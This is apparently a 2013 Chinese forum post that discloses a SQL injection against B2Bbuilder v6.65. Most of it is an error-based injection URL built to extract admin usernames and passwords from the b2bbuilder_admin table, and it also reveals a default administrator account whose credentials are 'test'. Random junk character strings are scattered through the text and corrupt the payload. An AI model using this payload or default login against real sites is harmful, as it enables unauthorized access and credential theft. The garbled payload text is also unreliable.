测试的程序版本为：B2Bbuilder_v6.65 l# \' e2 Y: q. o" V! a7 s1 K) O
2 U: w' @# w9 A/ T" g& B5 C" V8 ?, s
- ?: k5 b1 C9 ?! uhttp://www.site.com/?m=offer& ... m%28select+count%28*%29%2Cconcat%28%285 H% Q. A4 J: W6 C; C: d
select+%28select+%28select+concat%280x27%2C0x7e%2Cb2bbuilder_admin.user,0x27,password3 C; H/ a" p6 n' \; L0 \
%2C0x27%2C0x7e%29+from+%60b2bbuilder%60.b2bbuilder_admin+Order+by+user+limit+0%2C1
, f7 z. ~3 c% r. i%29+%29+from+%60information_schema%60.tables+limit+0%2C1%29%2Cfloor%28rand%280%29+ Z/ x7 f" Y& M0 D0 A' F/ j" A4 |
*2%29%29x+from+%60information_schema%60.tables+group+by+x%29a%29+and+1%3D1; ]) r$ ]0 ~2 [/ h3 |
1 k* I4 w7 A7 Y& Q4 c这个B2B程序还有一个默认的管理员帐号，帐号密码都是test
5 p7 U5 G& A# F$ T0 ^/ M
% @/ Q, B3 O6 ]1 d+ I* W. I |
发表于 2013-7-26 12:44:48
收藏
支持
反对